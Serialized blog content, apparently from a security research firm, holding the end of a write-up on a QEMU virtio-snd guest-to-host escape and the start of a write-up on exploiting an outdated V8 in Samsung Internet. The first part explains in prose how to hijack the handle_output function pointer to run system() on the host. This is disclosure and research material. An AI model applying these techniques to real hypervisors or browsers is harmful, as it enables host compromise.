"props":133087,"children":133088},{"style":268},[133089],{"type":29,"value":5448},{"type":23,"tag":230,"props":133091,"children":133092},{"style":262},[133093],{"type":29,"value":920},{"type":23,"tag":230,"props":133095,"children":133096},{"style":274},[133097],{"type":29,"value":16084},{"type":23,"tag":230,"props":133099,"children":133100},{"style":262},[133101],{"type":29,"value":126107},{"type":23,"tag":230,"props":133103,"children":133104},{"style":274},[133105],{"type":29,"value":133106},", buffer, entry);\n",{"type":23,"tag":230,"props":133108,"children":133109},{"class":232,"line":4901},[133110],{"type":23,"tag":230,"props":133111,"children":133112},{"style":274},[133113],{"type":29,"value":5686},{"type":23,"tag":32,"props":133115,"children":133116},{},[133117,133118,133123,133125,133130,133132,133137,133139,133145],{"type":29,"value":126161},{"type":23,"tag":71,"props":133119,"children":133121},{"className":133120},[],[133122],{"type":29,"value":126167},{"type":29,"value":133124},", QEMU allocates a ",{"type":23,"tag":71,"props":133126,"children":133128},{"className":133127},[],[133129],{"type":29,"value":126304},{"type":29,"value":133131}," whose size depends on the guest-provided iovec, and at ",{"type":23,"tag":71,"props":133133,"children":133135},{"className":133134},[],[133136],{"type":29,"value":126202},{"type":29,"value":133138}," it stores the ",{"type":23,"tag":71,"props":133140,"children":133142},{"className":133141},[],[133143],{"type":29,"value":133144},"VirtQueue *vq",{"type":29,"value":133146}," pointer into the buffer.",{"type":23,"tag":32,"props":133148,"children":133149},{},[133150,133151,133157],{"type":29,"value":65992},{"type":23,"tag":71,"props":133152,"children":133154},{"className":133153},[],[133155],{"type":29,"value":133156},"VirtQueue",{"type":29,"value":133158}," structure contains some useful fields:",{"type":23,"tag":220,"props":133160,"children":133162},{"code":133161,"language":2148,"meta":7,"className":18839,"style":7},"struct VirtQueue\n{\n    [...]\n\n    VirtIOHandleOutput handle_output;\n    VirtIODevice *vdev;\n\n    [...]\n};\n",[133163],{"type":23,"tag":71,"props":133164,"children":133165},{"__ignoreMap":7},[133166,133178,133185,133192,133199,133207,133224,133231,133238],{"type":23,"tag":230,"props":133167,"children":133168},{"class":232,"line":233},[133169,133173],{"type":23,"tag":230,"props":133170,"children":133171},{"style":256},[133172],{"type":29,"value":11733},{"type":23,"tag":230,"props":133174,"children":133175},{"style":274},[133176],{"type":29,"value":133177}," VirtQueue\n",{"type":23,"tag":230,"props":133179,"children":133180},{"class":232,"line":243},[133181],{"type":23,"tag":230,"props":133182,"children":133183},{"style":274},[133184],{"type":29,"value":13211},{"type":23,"tag":230,"props":133186,"children":133187},{"class":232,"line":252},[133188],{"type":23,"tag":230,"props":133189,"children":133190},{"style":274},[133191],{"type":29,"value":106580},{"type":23,"tag":230,"props":133193,"children":133194},{"class":232,"line":280},[133195],{"type":23,"tag":230,"props":133196,"children":133197},{"emptyLinePlaceholder":18},[133198],{"type":29,"value":459},{"type":23,"tag":230,"props":133200,"children":133201},{"class":232,"line":334},[133202],{"type":23,"tag":230,"props":133203,"children":133204},{"style":274},[133205],{"type":29,"value":133206},"    VirtIOHandleOutput handle_output;\n",{"type":23,"tag":230,"props":133208,"children":133209},{"class":232,"line":371},[133210,133215,133219],{"type":23,"tag":230,"props":133211,"children":133212},{"style":274},[133213],{"type":29,"value":133214},"    VirtIODevice ",{"type":23,"tag":230,"props":133216,"children":133217},{"style":268},[133218],{"type":29,"value":6909},{"type":23,"tag":230,"props":133220,"children":133221},{"style":274},[133222],{"type":29,"value":133223},"vdev;\n",{"type":23,"tag":230,"props":133225,"children":133226},{"class":232,"line":391},[133227],{"type":23,"tag":230,"props":133228,"children":133229},{"emptyLinePlaceholder":18},[133230],{"type":29,"value":459},{"type":23,"tag":230,"props":133232,"children":133233},{"class":232,"line":400},[133234],{"type":23,"tag":230,"props":133235,"children":133236},{"style":274},[133237],{"type":29,"value":106580},{"type":23,"tag":230,"props":133239,"children":133240},{"class":232,"line":444},[133241],{"type":23,"tag":230,"props":133242,"children":133243},{"style":274},[133244],{"type":29,"value":450},{"type":23,"tag":32,"props":133246,"children":133247},{},[133248,133249,133255,133257,133263],{"type":29,"value":980},{"type":23,"tag":71,"props":133250,"children":133252},{"className":133251},[],[133253],{"type":29,"value":133254},".handle_output",{"type":29,"value":133256}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":23,"tag":71,"props":133258,"children":133260},{"className":133259},[],[133261],{"type":29,"value":133262},".vdev",{"type":29,"value":133264}," is the pointer passed to it as the first argument:",{"type":23,"tag":220,"props":133266,"children":133268},{"code":133267,"language":2148,"meta":7,"className":18839,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n    if (vq->vring.desc && vq->handle_output) {\n        VirtIODevice *vdev = vq->vdev;\n\n        [...]\n\n        vq->handle_output(vdev, vq);\n\n        [...]\n    }\n}\n",[133269],{"type":23,"tag":71,"props":133270,"children":133271},{"__ignoreMap":7},[133272,133305,133312,133367,133404,133411,133418,133425,133446,133453,133460,133467],{"type":23,"tag":230,"props":133273,"children":133274},{"class":232,"line":233},[133275,133279,133283,133288,133293,133297,133301],{"type":23,"tag":230,"props":133276,"children":133277},{"style":256},[133278],{"type":29,"value":52817},{"type":23,"tag":230,"props":133280,"children":133281},{"style":256},[133282],{"type":29,"value":52822},{"type":23,"tag":230,"props":133284,"children":133285},{"style":294},[133286],{"type":29,"value":133287}," virtio_queue_notify_vq",{"type":23,"tag":230,"props":133289,"children":133290},{"style":274},[133291],{"type":29,"value":133292},"(VirtQueue ",{"type":23,"tag":230,"props":133294,"children":133295},{"style":268},[133296],{"type":29,"value":6909},{"type":23,"tag":230,"props":133298,"children":133299},{"style":262},[133300],{"type":29,"value":125651},{"type":23,"tag":230,"props":133302,"children":133303},{"style":274},[133304],{"type":29,"value":4516},{"type":23,"tag":230,"props":133306,"children":133307},{"class":232,"line":243},[133308],{"type":23,"tag":230,"props":133309,"children":133310},{"style":274},[133311],{"type":29,"value":13211},{"type":23,"tag":230,"props":133313,"children":133314},{"class":232,"line":252},[133315,133319,133323,133327,133331,133336,133340,133345,133349,133354,133358,133363],{"type":23,"tag":230,"props":133316,"children":133317},{"style":866},[133318],{"type":29,"value":1493},{"type":23,"tag":230,"props":133320,"children":133321},{"style":274},[133322],{"type":29,"value":664},{"type":23,"tag":230,"props":133324,"children":133325},{"style":262},[133326],{"type":29,"value":125651},{"type":23,"tag":230,"props":133328,"children":133329},{"style":274},[133330],{"type":29,"value":16084},{"type":23,"tag":230,"props":133332,"children":133333},{"style":262},[133334],{"type":29,"value":133335},"vring",{"type":23,"tag":230,"props":133337,"children":133338},{"style":274},[133339],{"type":29,"value":312},{"type":23,"tag":230,"props":133341,"children":133342},{"style":262},[133343],{"type":29,"value":133344},"desc",{"type":23,"tag":230,"props":133346,"children":133347},{"style":268},[133348],{"type":29,"value":16512},{"type":23,"tag":230,"props":133350,"children":133351},{"style":262},[133352],{"type":29,"value":133353}," vq",{"type":23,"tag":230,"props":133355,"children":133356},{"style":274},[133357],{"type":29,"value":16084},{"type":23,"tag":230,"props":133359,"children":133360},{"style":262},[133361],{"type":29,"value":133362},"handle_output",{"type":23,"tag":230,"props":133364,"children":133365},{"style":274},[133366],{"type":29,"value":827},{"type":23,"tag":230,"props":133368,"children":133369},{"class":232,"line":280},[133370,133375,133379,133384,133388,133392,133396,133400],{"type":23,"tag":230,"props":133371,"children":133372},{"style":274},[133373],{"type":29,"value":133374},"        VirtIODevice ",{"type":23,"tag":230,"props":133376,"children":133377},{"style":268},[133378],{"type":29,"value":6909},{"type":23,"tag":230,"props":133380,"children":133381},{"style":274},[133382],{"type":29,"value":133383},"vdev ",{"type":23,"tag":230,"props":133385,"children":133386},{"style":268},[133387],{"type":29,"value":863},{"type":23,"tag":230,"props":133389,"children":133390},{"style":262},[133391],{"type":29,"value":133353},{"type":23,"tag":230,"props":133393,"children":133394},{"style":274},[133395],{"type":29,"value":16084},{"type":23,"tag":230,"props":133397,"children":133398},{"style":262},[133399],{"type":29,"value":125637},{"type":23,"tag":230,"props":133401,"children":133402},{"style":274},[133403],{"type":29,"value":511},{"type":23,"tag":230,"props":133405,"children":133406},{"class":232,"line":334},[133407],{"type":23,"tag":230,"props":133408,"children":133409},{"emptyLinePlaceholder":18},[133410],{"type":29,"value":459},{"type":23,"tag":230,"props":133412,"children":133413},{"class":232,"line":371},[133414],{"type":23,"tag":230,"props":133415,"children":133416},{"style":274},[133417],{"type":29,"value":125818},{"type":23,"tag":230,"props":133419,"children":133420},{"class":232,"line":391},[133421],{"type":23,"tag":230,"props":133422,"children":133423},{"emptyLinePlaceholder":18},[133424],{"type":29,"value":459},{"type":23,"tag":230,"props":133426,"children":133427},{"class":232,"line":400},[133428,133433,133437,133441],{"type":23,"tag":230,"props":133429,"children":133430},{"style":262},[133431],{"type":29,"value":133432},"        vq",{"type":23,"tag":230,"props":133434,"children":133435},{"style":274},[133436],{"type":29,"value":16084},{"type":23,"tag":230,"props":133438,"children":133439},{"style":294},[133440],{"type":29,"value":133362},{"type":23,"tag":230,"props":133442,"children":133443},{"style":274},[133444],{"type":29,"value":133445},"(vdev, vq);\n",{"type":23,"tag":230,"props":133447,"children":133448},{"class":232,"line":444},[133449],{"type":23,"tag":230,"props":133450,"children":133451},{"emptyLinePlaceholder":18},[133452],{"type":29,"value":459},{"type":23,"tag":230,"props":133454,"children":133455},{"class":232,"line":453},[133456],{"type":23,"tag":230,"props":133457,"children":133458},{"style":274},[133459],{"type":29,"value":125818},{"type":23,"tag":230,"props":133461,"children":133462},{"class":232,"line":462},[133463],{"type":23,"tag":230,"props":133464,"children":133465},{"style":274},[133466],{"type":29,"value":1552},{"type":23,"tag":230,"props":133468,"children":133469},{"class":232,"line":471},[133470],{"type":23,"tag":230,"props":133471,"children":133472},{"style":274},[133473],{"type":29,"value":975},{"type":23,"tag":32,"props":133475,"children":133476},{},[133477,133479,133484,133486,133491,133493,133499,133501,133506,133507,133512,133514,133519],{"type":29,"value":133478},"This means that if we free the known-address chunk and replace it with a ",{"type":23,"tag":71,"props":133480,"children":133482},{"className":133481},[],[133483],{"type":29,"value":126304},{"type":29,"value":133485}," - which is straightforward, since we control the buffer allocation size through the ",{"type":23,"tag":71,"props":133487,"children":133489},{"className":133488},[],[133490],{"type":29,"value":125892},{"type":29,"value":133492}," iovec - we can use the arbitrary read primitive to read its ",{"type":23,"tag":71,"props":133494,"children":133496},{"className":133495},[],[133497],{"type":29,"value":133498},".vq",{"type":29,"value":133500}," pointer, then follow that pointer to leak ",{"type":23,"tag":71,"props":133502,"children":133504},{"className":133503},[],[133505],{"type":29,"value":133254},{"type":29,"value":18377},{"type":23,"tag":71,"props":133508,"children":133510},{"className":133509},[],[133511],{"type":29,"value":133156},{"type":29,"value":133513}," structure. In our case, that field points to ",{"type":23,"tag":71,"props":133515,"children":133517},{"className":133516},[],[133518],{"type":29,"value":125544},{"type":29,"value":133520},", which gives us QEMU's base address.",{"type":23,"tag":32,"props":133522,"children":133523},{},[133524,133526,133532],{"type":29,"value":133525},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":23,"tag":71,"props":133527,"children":133529},{"className":133528},[],[133530],{"type":29,"value":133531},"system",{"type":29,"value":312},{"type":23,"tag":59,"props":133534,"children":133536},{"id":133535},"rip-control",[133537],{"type":29,"value":133538},"RIP Control",{"type":23,"tag":32,"props":133540,"children":133541},{},[133542,133544,133549,133551,133557],{"type":29,"value":133543},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":23,"tag":71,"props":133545,"children":133547},{"className":133546},[],[133548],{"type":29,"value":133531},{"type":29,"value":133550},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":23,"tag":71,"props":133552,"children":133554},{"className":133553},[],[133555],{"type":29,"value":133556},"VirtQueue.handle_output",{"type":29,"value":312},{"type":23,"tag":32,"props":133559,"children":133560},{},[133561,133563,133568,133570,133575,133577,133582],{"type":29,"value":133562},"We overwrite ",{"type":23,"tag":71,"props":133564,"children":133566},{"className":133565},[],[133567],{"type":29,"value":133254},{"type":29,"value":133569}," with the address of ",{"type":23,"tag":71,"props":133571,"children":133573},{"className":133572},[],[133574],{"type":29,"value":133531},{"type":29,"value":133576}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":23,"tag":71,"props":133578,"children":133580},{"className":133579},[],[133581],{"type":29,"value":133262},{"type":29,"value":133583}," with the address of that command string, so it is passed as the first argument.",{"type":23,"tag":32,"props":133585,"children":133586},{},[133587,133589,133595,133597,133603,133605,133611],{"type":29,"value":133588},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":23,"tag":71,"props":133590,"children":133592},{"className":133591},[],[133593],{"type":29,"value":133594},"virtio_queue_notify_vq",{"type":29,"value":133596},", which calls ",{"type":23,"tag":71,"props":133598,"children":133600},{"className":133599},[],[133601],{"type":29,"value":133602},"vq->handle_output(vq->vdev)",{"type":29,"value":133604}," - or, after our overwrites, ",{"type":23,"tag":71,"props":133606,"children":133608},{"className":133607},[],[133609],{"type":29,"value":133610},"system(command)",{"type":29,"value":312},{"type":23,"tag":32,"props":133613,"children":133614},{},[133615,133617,133623,133625],{"type":29,"value":133616},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":23,"tag":71,"props":133618,"children":133620},{"className":133619},[],[133621],{"type":29,"value":133622},"gnome-calculator",{"type":29,"value":133624}," on the host system:\n",{"type":23,"tag":33276,"props":133626,"children":133627},{},[],{"type":23,"tag":133629,"props":133630,"children":133639},"tweet-card",{"author-name":133631,"date":133632,"duration":133633,"handle":133634,"media-mime-type":133635,"media-src":133636,"media-type":133637,"tweet-url":133638},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[133640,133645,133650],{"type":23,"tag":32,"props":133641,"children":133642},{},[133643],{"type":29,"value":133644},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":23,"tag":32,"props":133646,"children":133647},{},[133648],{"type":29,"value":133649},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":23,"tag":32,"props":133651,"children":133652},{},[133653],{"type":29,"value":133654},"Writeup coming next week.",{"type":23,"tag":33276,"props":133656,"children":133657},{},[],{"type":23,"tag":32,"props":133659,"children":133660},{},[133661,133663,133669,133671,133677],{"type":29,"value":133662},"The final exploit, targeting QEMU commit ",{"type":23,"tag":71,"props":133664,"children":133666},{"className":133665},[],[133667],{"type":29,"value":133668},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":29,"value":133670}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":23,"tag":181,"props":133672,"children":133675},{"href":133673,"rel":133674},"https://github.com/otter-sec/qemu-escape",[185],[133676],{"type":29,"value":49356},{"type":29,"value":312},{"type":23,"tag":32,"props":133679,"children":133680},{},[133681,133683,133690],{"type":29,"value":133682},"Special thanks to ",{"type":23,"tag":181,"props":133684,"children":133687},{"href":133685,"rel":133686},"https://www.willsroot.io/",[185],[133688],{"type":29,"value":133689},"William Liu",{"type":29,"value":133691}," for proofreading this post and helping us polish it before publication.",{"type":23,"tag":24,"props":133693,"children":133694},{"id":5163},[133695],{"type":29,"value":5166},{"type":23,"tag":32,"props":133697,"children":133698},{},[133699],{"type":29,"value":133700},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":23,"tag":32,"props":133702,"children":133703},{},[133704],{"type":29,"value":133705},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":23,"tag":5178,"props":133707,"children":133708},{},[133709],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":133711},[133712,133715,133718,133727],{"id":125440,"depth":243,"text":125453,"children":133713},[133714],{"id":125461,"depth":252,"text":125464},{"id":125485,"depth":243,"text":125488,"children":133716},[133717],{"id":125499,"depth":252,"text":125499},{"id":101887,"depth":243,"text":101890,"children":133719},[133720,133721,133722,133723,133724,133725,133726],{"id":128091,"depth":252,"text":128094},{"id":129618,"depth":252,"text":129621},{"id":130412,"depth":252,"text":130415},{"id":130817,"depth":252,"text":130820},{"id":131033,"depth":252,"text":131036},{"id":131239,"depth":252,"text":131242},{"id":133535,"depth":252,"text":133538},{"id":5163,"depth":243,"text":5166},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":133732,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":133733,"description":133734,"date":133735,"author":133736,"image":133739,"isFeatured":18,"onBlogPage":18,"tags":133741,"body":133744,"_type":5202,"_id":143652,"_source":5204,"_file":143653,"_stem":143654,"_extension":5207},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[125436,133737,133738],"jamie","william",{"src":133740,"width":99047,"height":16},"/posts/mobile-renderer-rce/title.png",[133742,133743],"RCE","mobile",{"type":20,"children":133745,"toc":143632},[133746,133750,133755,133769,133775,133789,133810,133818,133831,133839,133852,133858,133871,133885,133891,133905,134008,134013,134021,134026,134031,134052,134130,134138,134157,134170,134176,134182,134196,134312,134317,134322,134330,134335,134343,134371,134400,134412,134588,134593,134601,134620,134633,134639,134659,134673,134678,134683,134711,134747,134816,134822,134844,134849,134857,134870,134875,134883,134888,134927,134933,134946,134951,135129,135139,135147,135167,135191,135204,135210,135215,135857,135862,135870,135912,137901,137906,137914,137920,137953,137971,138141,138199,138224,138318,138323,139114,139119,139127,139138,141182,141187,141195,141201,141223,141237,141250,141262,141292,141297,141738,141766,141873,141890,142047,142052,142064,142360,142386,142409,142541,142553,142558,142710,142746,142759,142764,142886,142927,143004,143009,143583,143589,143601,143614,143618,143623,143628],{"type":23,"tag":24,"props":133747,"children":133748},{"id":31322},[133749],{"type":29,"value":31325},{"type":23,"tag":32,"props":133751,"children":133752},{},[133753],{"type":29,"value":133754},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":23,"tag":32,"props":133756,"children":133757},{},[133758,133760,133767],{"type":29,"value":133759},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":23,"tag":181,"props":133761,"children":133764},{"href":133762,"rel":133763},"https://cor.team",[185],[133765],{"type":29,"value":133766},"Crusaders of Rust",{"type":29,"value":133768}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":23,"tag":59,"props":133770,"children":133772},{"id":133771},"finding-the-v8-version",[133773],{"type":29,"value":133774},"Finding the V8 Version",{"type":23,"tag":32,"props":133776,"children":133777},{},[133778,133780,133787],{"type":29,"value":133779},"We started by pulling Samsung Internet's APK from the device over ",{"type":23,"tag":181,"props":133781,"children":133784},{"href":133782,"rel":133783},"https://developer.android.com/tools/adb",[185],[133785],{"type":29,"value":133786},"adb",{"type":29,"value":133788}," and inspecting the libraries it shipped with.",{"type":23,"tag":32,"props":133790,"children":133791},{},[133792,133794,133800,133802,133808],{"type":29,"value":133793},"After extracting the APK, we searched the ",{"type":23,"tag":71,"props":133795,"children":133797},{"className":133796},[],[133798],{"type":29,"value":133799},"lib/",{"type":29,"value":133801}," directory for ",{"type":23,"tag":71,"props":133803,"children":133805},{"className":133804},[],[133806],{"type":29,"value":133807},"v8::*",{"type":29,"value":133809}," symbols:",{"type":23,"tag":220,"props":133811,"children":133813},{"code":133812},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[133814],{"type":23,"tag":71,"props":133815,"children":133816},{"__ignoreMap":7},[133817],{"type":29,"value":133812},{"type":23,"tag":32,"props":133819,"children":133820},{},[133821,133823,133829],{"type":29,"value":133822},"Only one file matched our search: ",{"type":23,"tag":71,"props":133824,"children":133826},{"className":133825},[],[133827],{"type":29,"value":133828},"libterrace.so",{"type":29,"value":133830},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":23,"tag":32,"props":133832,"children":133833},{},[133834],{"type":23,"tag":93,"props":133835,"children":133838},{"alt":133836,"src":133837},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":23,"tag":32,"props":133840,"children":133841},{},[133842,133844,133850],{"type":29,"value":133843},"Surprisingly, this ",{"type":23,"tag":71,"props":133845,"children":133847},{"className":133846},[],[133848],{"type":29,"value":133849},"13.6.233.10",{"type":29,"value":133851}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":23,"tag":59,"props":133853,"children":133855},{"id":133854},"choosing-the-bug",[133856],{"type":29,"value":133857},"Choosing the Bug",{"type":23,"tag":32,"props":133859,"children":133860},{},[133861,133863,133869],{"type":29,"value":133862},"We were able to trigger a couple of bugs on our locally compiled ",{"type":23,"tag":71,"props":133864,"children":133866},{"className":133865},[],[133867],{"type":29,"value":133868},"d8",{"type":29,"value":133870}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":23,"tag":32,"props":133872,"children":133873},{},[133874,133876,133883],{"type":29,"value":133875},"Another one was ",{"type":23,"tag":181,"props":133877,"children":133880},{"href":133878,"rel":133879},"https://issuetracker.google.com/issues/443875388",[185],[133881],{"type":29,"value":133882},"CVE-2025-10891",{"type":29,"value":133884}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":23,"tag":24,"props":133886,"children":133888},{"id":133887},"ignition-bytecode-introduction",[133889],{"type":29,"value":133890},"Ignition Bytecode Introduction",{"type":23,"tag":32,"props":133892,"children":133893},{},[133894,133896,133903],{"type":29,"value":133895},"V8 initially compiles all JS code to a bytecode format with the ",{"type":23,"tag":181,"props":133897,"children":133900},{"href":133898,"rel":133899},"https://v8.dev/blog/ignition-interpreter",[185],[133901],{"type":29,"value":133902},"Ignition",{"type":29,"value":133904}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":23,"tag":220,"props":133906,"children":133908},{"code":133907,"language":33671,"meta":7,"className":33669,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[133909],{"type":23,"tag":71,"props":133910,"children":133911},{"__ignoreMap":7},[133912,133935,133959,133983],{"type":23,"tag":230,"props":133913,"children":133914},{"class":232,"line":233},[133915,133919,133923,133927,133931],{"type":23,"tag":230,"props":133916,"children":133917},{"style":256},[133918],{"type":29,"value":14118},{"type":23,"tag":230,"props":133920,"children":133921},{"style":262},[133922],{"type":29,"value":91615},{"type":23,"tag":230,"props":133924,"children":133925},{"style":268},[133926],{"type":29,"value":271},{"type":23,"tag":230,"props":133928,"children":133929},{"style":5149},[133930],{"type":29,"value":6861},{"type":23,"tag":230,"props":133932,"children":133933},{"style":274},[133934],{"type":29,"value":511},{"type":23,"tag":230,"props":133936,"children":133937},{"class":232,"line":243},[133938,133942,133946,133950,133955],{"type":23,"tag":230,"props":133939,"children":133940},{"style":256},[133941],{"type":29,"value":14118},{"type":23,"tag":230,"props":133943,"children":133944},{"style":262},[133945],{"type":29,"value":92489},{"type":23,"tag":230,"props":133947,"children":133948},{"style":268},[133949],{"type":29,"value":271},{"type":23,"tag":230,"props":133951,"children":133952},{"style":5149},[133953],{"type":29,"value":133954}," 0x0fff",{"type":23,"tag":230,"props":133956,"children":133957},{"style":274},[133958],{"type":29,"value":511},{"type":23,"tag":230,"props":133960,"children":133961},{"class":232,"line":252},[133962,133966,133970,133974,133979],{"type":23,"tag":230,"props":133963,"children":133964},{"style":256},[133965],{"type":29,"value":14118},{"type":23,"tag":230,"props":133967,"children":133968},{"style":262},[133969],{"type":29,"value":2122},{"type":23,"tag":230,"props":133971,"children":133972},{"style":268},[133973],{"type":29,"value":271},{"type":23,"tag":230,"props":133975,"children":133976},{"style":5149},[133977],{"type":29,"value":133978}," 0x0fffffff",{"type":23,"tag":230,"props":133980,"children":133981},{"style":274},[133982],{"type":29,"value":511},{"type":23,"tag":230,"props":133984,"children":133985},{"class":232,"line":280},[133986,133990,133995,133999,134004],{"type":23,"tag":230,"props":133987,"children":133988},{"style":256},[133989],{"type":29,"value":14118},{"type":23,"tag":230,"props":133991,"children":133992},{"style":262},[133993],{"type":29,"value":133994}," d",{"type":23,"tag":230,"props":133996,"children":133997},{"style":268},[133998],{"type":29,"value":271},{"type":23,"tag":230,"props":134000,"children":134001},{"style":5149},[134002],{"type":29,"value":134003}," 0xffffffff",{"type":23,"tag":230,"props":134005,"children":134006},{"style":274},[134007],{"type":29,"value":511},{"type":23,"tag":32,"props":134009,"children":134010},{},[134011],{"type":29,"value":134012},"compiles to",{"type":23,"tag":220,"props":134014,"children":134016},{"code":134015}," # Load the Smi `1` into the accumulator\n 0 : 0d 01             LdaSmi [1]\n # Store it to register 0\n 2 : ce                Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f       LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd                Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc                Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00             LdaConstant [0]\n# Store it to register 3\n17 : cb                Star3\n18 : 0e                LdaUndefined\n19 : b3                Return\n",[134017],{"type":23,"tag":71,"props":134018,"children":134019},{"__ignoreMap":7},[134020],{"type":29,"value":134015},{"type":23,"tag":32,"props":134022,"children":134023},{},[134024],{"type":29,"value":134025},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":23,"tag":59,"props":134027,"children":134029},{"id":134028},"cve-2025-10891",[134030],{"type":29,"value":133882},{"type":23,"tag":32,"props":134032,"children":134033},{},[134034,134036,134042,134044,134050],{"type":29,"value":134035},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":23,"tag":71,"props":134037,"children":134039},{"className":134038},[],[134040],{"type":29,"value":134041},"[start, end) => handler",{"type":29,"value":134043}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":23,"tag":71,"props":134045,"children":134047},{"className":134046},[],[134048],{"type":29,"value":134049},"handler",{"type":29,"value":134051}," is jumped to.",{"type":23,"tag":220,"props":134053,"children":134055},{"code":134054,"language":33671,"meta":7,"className":33669,"style":7},"try {\n  throw 1;\n} catch {\n  let b = 2;\n}\n",[134056],{"type":23,"tag":71,"props":134057,"children":134058},{"__ignoreMap":7},[134059,134070,134085,134100,134123],{"type":23,"tag":230,"props":134060,"children":134061},{"class":232,"line":233},[134062,134066],{"type":23,"tag":230,"props":134063,"children":134064},{"style":866},[134065],{"type":29,"value":50103},{"type":23,"tag":230,"props":134067,"children":134068},{"style":274},[134069],{"type":29,"value":277},{"type":23,"tag":230,"props":134071,"children":134072},{"class":232,"line":243},[134073,134077,134081],{"type":23,"tag":230,"props":134074,"children":134075},{"style":866},[134076],{"type":29,"value":37488},{"type":23,"tag":230,"props":134078,"children":134079},{"style":5149},[134080],{"type":29,"value":6861},{"type":23,"tag":230,"props":134082,"children":134083},{"style":274},[134084],{"type":29,"value":511},{"type":23,"tag":230,"props":134086,"children":134087},{"class":232,"line":252},[134088,134092,134096],{"type":23,"tag":230,"props":134089,"children":134090},{"style":274},[134091],{"type":29,"value":48645},{"type":23,"tag":230,"props":134093,"children":134094},{"style":866},[134095],{"type":29,"value":50183},{"type":23,"tag":230,"props":134097,"children":134098},{"style":274},[134099],{"type":29,"value":277},{"type":23,"tag":230,"props":134101,"children":134102},{"class":232,"line":280},[134103,134107,134111,134115,134119],{"type":23,"tag":230,"props":134104,"children":134105},{"style":256},[134106],{"type":29,"value":4324},{"type":23,"tag":230,"props":134108,"children":134109},{"style":262},[134110],{"type":29,"value":92489},{"type":23,"tag":230,"props":134112,"children":134113},{"style":268},[134114],{"type":29,"value":271},{"type":23,"tag":230,"props":134116,"children":134117},{"style":5149},[134118],{"type":29,"value":10269},{"type":23,"tag":230,"props":134120,"children":134121},{"style":274},[134122],{"type":29,"value":511},{"type":23,"tag":230,"props":134124,"children":134125},{"class":232,"line":334},[134126],{"type":23,"tag":230,"props":134127,"children":134128},{"style":274},[134129],{"type":29,"value":975},{"type":23,"tag":220,"props":134131,"children":134133},{"code":134132}," 0 : 1b ff f8          Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01             LdaSmi [1]\n 5 : b1                Throw\n # ---------------------------------\n 6 : 10                LdaTheHole\n 7 : b0                SetPendingMessage\n # Start of catch handler\n 8 : 0d 02             LdaSmi [2]\n10 : ce                Star0\n11 : 0e                LdaUndefined\n12 : b3                Return\nHandler Table (size = 16)\n   from   to       hdlr (prediction,   data)\n  (   